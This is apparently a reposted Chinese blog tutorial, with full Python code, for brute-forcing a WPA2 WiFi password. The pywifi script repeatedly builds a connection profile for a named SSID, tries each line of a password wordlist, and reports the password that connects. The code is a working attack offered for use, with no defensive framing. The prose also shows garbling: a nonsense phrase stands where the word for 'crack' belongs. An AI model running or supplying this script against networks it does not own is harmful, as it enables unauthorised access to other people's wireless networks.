Python暴力激活成功教程wifi密码
今天给大家分享一个使用Python激活成功教程WiFi密码的代码,这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。
首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。
wifi=pywifi.PyWiFi()
#获取无线网卡
ifaces=wifi.interfaces()[0]
print(ifaces)
下面就是效果,但是它返回的是一个对象
使用这行代码就可以获取电脑无线网卡的名称:
print(ifaces.name())
这个就是我的无线网卡
要判断是否连接WiFi,我们需要导入一个常量库:
from pywifi import const
看,这个库里面就显示了接口是否连接对于的常量
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为was
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我上次分享的那个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以。
#密码本路径
path="C:/Users/ASUS/Desktop/password.txt"
#打开文件
file=open(path,"r")
while True:
try:
#一行一行读取
pad=file.readline()
好了,接下来就是完整的代码和效果图。
# coding:utf-8
import pywifi
from pywifi import const
import time
#测试连接,返回链接结果
def wifiConnect(pwd):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始激活成功教程:")
#密码本路径
path="C:/Users/ASUS/Desktop/password.txt"
#打开文件
file=open(path,"r")
while True:
try:
#一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
if bool:
print("密码已激活成功教程: ",pad)
print("WiFi已自动连接!!!")
break
else:
#跳出当前循环,进行下一次循环
print("密码激活成功教程中....密码校对: ",pad)
except:
continue
readPassword()
运行结果如下:
看,这个就成功了,这里的话还是不能用可视化界面,等以后有时间我尝试写一个可视化界面那种,然后就类似于手机上的wifi万能钥匙了。今天就分享到这里了,有什么不好的地方望各位大佬指正一下。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/172184.html原文链接:https://javaforall.cn
相关文章
- Python字典详细操作
- Python DB-API 规范及 MySQL Connector/Python 实现
- pycharm 安装包失败_python安装库为什么不成功
- python解释器找不到_python解释器路径
- python 基尼系数_Python计算
- Python基础07-函数
- Python-基础02-程序与用户交互
- USB 摄像头 进行python OpenCV 操作的基础设置【以yolo 目标检测为例】
- pycharm中使用anaconda部署python环境_pycharm怎么用anaconda的环境
- python读写json_python格式化json
- python与pycharm区别_pycharm与anaconda
- pycharm安装教程2020.3.4_python安装步骤
- pycharm安装opencv-python_geany配置python
- pycharm如何找到python解释器,pycharm找不到解释器怎么办
- X波段双极化相控阵天气雷达基数据的python读取方法
- python详细安装教程环境配置_Python配置环境
- Python 调用接口进行文件上传的踩坑记录
- python线性回归算法「建议收藏」
- 统计学 方差分析_python编写计算方差的函数
- .app 域名发布了,我们可以使用 Python 做点什么?